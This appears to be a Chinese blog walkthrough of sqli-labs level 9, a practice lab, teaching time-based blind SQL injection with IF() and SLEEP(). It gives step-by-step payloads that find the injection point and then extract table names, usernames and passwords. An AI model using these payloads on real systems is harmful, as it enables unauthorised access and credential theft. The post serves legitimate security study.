sqli-labs关卡9(基于get提交的单引号闭合的时间盲注)通关思路


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关我们了解到什么是布尔盲注,以及怎么判断什么时候用布尔盲注。首先是看页面有没有回显,没有回显就考虑盲注,报错盲注优先选择。

布尔与时间盲注看页面报错情况,若发现注入语句正确页面正常,注入语句错误页面是类似空白页面(false)那么就用布尔盲注。若无论注入语句正确还是错误,页面均正常的话,就用时间盲注

时间盲注在这一关会详细讲解。

二、靶场第九关要用到的相关知识

  1. 什么是时间盲注?
  2. 要熟知的相关函数

1、什么是时间盲注?

时间注入的意思就是通过sleep()、if()等函数拼接数据库,通过浏览器返回页面的时间差来进行猜测数据库相关信息。

2. 要熟知的相关函数

1、if()函数
定义:如果条件为 TRUE,IF() 函数返回一个值,如果条件为 FALSE,则返回另一个值。
语法:
IF(condition, value_if_true, value_if_false)
实例:
如果条件为 TRUE,则返回 “YES”,如果条件为 FALSE,则返回 “NO”:

SELECT IF(500<1000, "YES", "NO");

2、sleep()函数
定义:让数据库执行时休眠,参数是休眠的时长,以秒为单位,也可以是小数。
用法:

 select sleep(3);

也就是延迟3秒。

三、靶场第九关思路

  • 1、判断注入点
  • 2、爆字段个数
  • 3、猜数据库长度
  • 4、猜数据库名字
  • 5、猜表名长度
  • 6、猜表名名字
  • 7、猜列名长度
  • 8、猜列名名字
  • 9、猜数据长度
  • 10、猜数据名字

1.判断注入点

经过测试可知道此关卡是无论注入语句正确还是错误,页面都是正常的。所以无法通过简单的报错判断注入点,从判断注入点就要用时间盲注了。
注入语句为

id=1 and 1=1 and sleep(5)
id=1 and 1=2 and sleep(5)

如果是数字型那么页面会延迟5秒,但是发现页面并没有延迟,所以不是数字型。
注入语句为

id=1' and 1=1 and sleep(5)--+
id=1' and 1=2 and sleep(5)--+

发现1=1的时候页面延迟了,1=2的时候页面没有延迟。所以是单引号闭合。(如图所示)
在这里插入图片描述
发现页面左上角是在转圈圈的,也就是延迟了。自己可以去试一试。

2、爆字段个数

注入语句为

id=1' and sleep(5) order by 3--+

发现order by 3页面延迟了,order by4页面没有延迟。所以显位是3(如图所示)
在这里插入图片描述

3、猜数据库长度

注入语句为

id=1' and if(length(database())>7,sleep(5),1)--+

语句意思是如果数据库长度大于7,页面就会延迟5秒,反之不延迟。发现大于8的时候没有延迟,可判定数据库长度为8(如图所示)
在这里插入图片描述
在这里插入图片描述

4、猜数据库名字

这里后面的语句与上一关布尔盲注差不多,就展示关键payload,不一一展示了。不懂看上一关
注入语句为

id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+

发现数据库名字第一个字符大于114时页面延迟了,大于115没有延迟。(如图所示)
在这里插入图片描述
在这里插入图片描述
得到第一个字符是s,ascii码在上一关有。其他字符也是依葫芦画瓢一个个试,得到数据库名字为security

5、猜表名长度

注入语句为

id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4,sleep(5),1)--+

(如图所示)发现第4个表长度大于4页面延迟,大于5页面正常,可知第4个表长5.其他表长度判断也是依葫芦画瓢,这里只演示我们要的表名的步骤,不懂看上一关。
在这里插入图片描述
在这里插入图片描述

6、猜表名名字

注入语句为

id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+

得到第四个表第一个字符大于116页面延迟,大于117页面正常。得到第一个字符ascii码为17对应字符u。以此类推得到users表名(如图所示)
在这里插入图片描述
在这里插入图片描述

7、猜列名长度

注入语句为

id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+

(如图所示)得到第二个列名长度大于7页面延迟,大于8页面正常。以此类推推出所有列名长度。(第二个和第三个列名是我们想要的)
在这里插入图片描述
在这里插入图片描述

8、猜列名名字

注入语句为

id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+

(如图所示)发现第二个列名第一个字符大于116页面延迟,大于117页面正常,得到第一个字符为u。以此类推得到第二个和第三个列名为username和password
在这里插入图片描述
在这里插入图片描述

9、猜数据长度

注入语句为

id=1' and if(length((select password from users limit 0,1))>3,sleep(5),1)--+

(如图所示)这里只演示password,看到第一个密码长度大于3页面延迟,大于4页面正常。得到第一个密码长4,以此类推得到所有密码和用户名长度。
在这里插入图片描述
在这里插入图片描述

10、猜数据名字

注入语句为

id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+

得到第一个密码第一个字符为D,以此类推得到所有账号和密码。(如图所示)
在这里插入图片描述
在这里插入图片描述


总结

这一关是时间盲注,与上一关布尔盲注的区别就是用到的函数更多,方法也是差不多的。布尔和时间盲注手工注入太费时间了,这里手工测试纯属是熟悉知识点,如果用工具就方便多了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

无名小卒且不会安全的zzyyhh

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值